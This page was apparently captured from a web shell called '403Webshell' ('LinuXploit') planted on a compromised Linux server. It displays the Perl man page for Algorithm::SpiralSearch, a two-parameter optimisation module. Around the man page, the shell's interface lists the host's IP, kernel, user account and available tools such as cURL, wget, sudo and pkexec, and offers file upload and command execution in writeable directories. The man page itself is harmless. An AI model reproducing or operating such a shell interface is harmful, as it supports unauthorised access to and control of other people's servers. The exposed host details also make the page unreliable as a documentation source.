403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/man/man3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/man/man3/Algorithm::SpiralSearch.3
.\" Automatically generated by Pod::Man 2.28 (Pod::Simple 3.29)
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  \*(C+ will
.\" give a nicer C++.  Capital omega is used to do unbreakable dashes and
.\" therefore won't be available.  \*(C` and \*(C' expand to `' in nroff,
.\" nothing in troff, for use with C<>.
.tr \(*W-
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
.    ds C`
.    ds C'
'br\}
.\"
.\" Escape single quotes in literal strings from groff's Unicode transform.
.ie \n(.g .ds Aq \(aq
.el       .ds Aq '
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.\"
.\" Avoid warning from groff about undefined register 'F'.
.de IX
..
.nr rF 0
.if \n(.g .if rF .nr rF 1
.if (\n(rF:(\n(.g==0)) \{
.    if \nF \{
.        de IX
.        tm Index:\\$1\t\\n%\t"\\$2"
..
.        if !\nF==2 \{
.            nr % 0
.            nr F 2
.        \}
.    \}
.\}
.rr rF
.\" ========================================================================
.\"
.IX Title "Algorithm::SpiralSearch 3"
.TH Algorithm::SpiralSearch 3 "2008-11-24" "perl v5.22.0" "User Contributed Perl Documentation"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.if n .ad l
.nh
.SH "NAME"
Algorithm::SpiralSearch \- Function Optimization of Two Parameters
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
.Vb 1
\&  use Algorithm::SpiralSearch;
\&
\&  my $lbx   = 0;
\&  my $ubx   = 1000;
\&  my $lby   = 0;
\&  my $uby   = 1000;
\&  my $iters = 50;
\&  my ($x, $y) = spiral_search($lbx, $ubx, $lby, $uby, $iters, \e&f, \*(AqMAX\*(Aq);
\&
\&  sub f {
\&    my ($p1, $p2) = @_;
\&    my $ret = simulator($p1, $p2, ...);
\&    return $ret;
\&  }
.Ve
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
A spiral search is a method used to optimize a two-parameter, relatively,
well-behaved function. Boundary conditions, the maximum number of iterations, a
reference to a function, and an indicator to maximize or minimize the function
are passed to the spiral_search function.  \fIspiral_search()\fR returns the optimal
point in the function passed to it.  It's an elegant optimization algorithm, but
is not well-suited for most applications. \s-1SETI\s0 uses the spiral search in huntingfor strong radio signals. Spiral search is most effective in situations where
function evaluations are expensive and where there's a small amount of random
noise within the search space. The algorithm is of order O(n).
.SH "METHODS"
.IX Header "METHODS"
.SS "Search Methods"
.IX Subsection "Search Methods"
\&\fBspiral_search($lowerBound_x, \f(CB$upperBound_x\fB, \f(CB$lowerBound_y\fB, \f(CB$upperBound_y\fB,
   \f(CB$iterations\fB, \e&function, \f(CB$MAX_or_MIN\fB)\fR
.PP
Initiates the spiral search. The first four parameters define the search space
plane. Spiral search is of order O(n), so the number of iterations defines how
many refinements the algorithm should take into account.  The greater the numberof iterations, the more accurate the findings.
.PP
The sixth parameter should be a reference to a function for which the parameters
will be plugged into. This function should return only one value \- a scalar
output indicative of the accuracy of the inputs. The last input parameter shouldbe either one of the two strings '\s-1MAX\s0' or '\s-1MIN\s0', each corresponding to how
spiral_search will optimize its given function. spiral_search returns a pair of
parameters that are approximately optimal with respect to the given function.
.SH "AUTHOR"
.IX Header "AUTHOR"
Sean Mostafavi, <seanm@undersea.net>
.SH "COPYRIGHT AND LICENSE"
.IX Header "COPYRIGHT AND LICENSE"
Copyright (C) 2006 by Sean Mostafavi
.PP
This library is free software; you can redistribute it and/or modify it under
the same terms as Perl itself, either Perl version 5.8.5 or, at your option, anylater version of Perl 5 you may have available.

Youez - 2016 - github.com/yon3zu
LinuXploit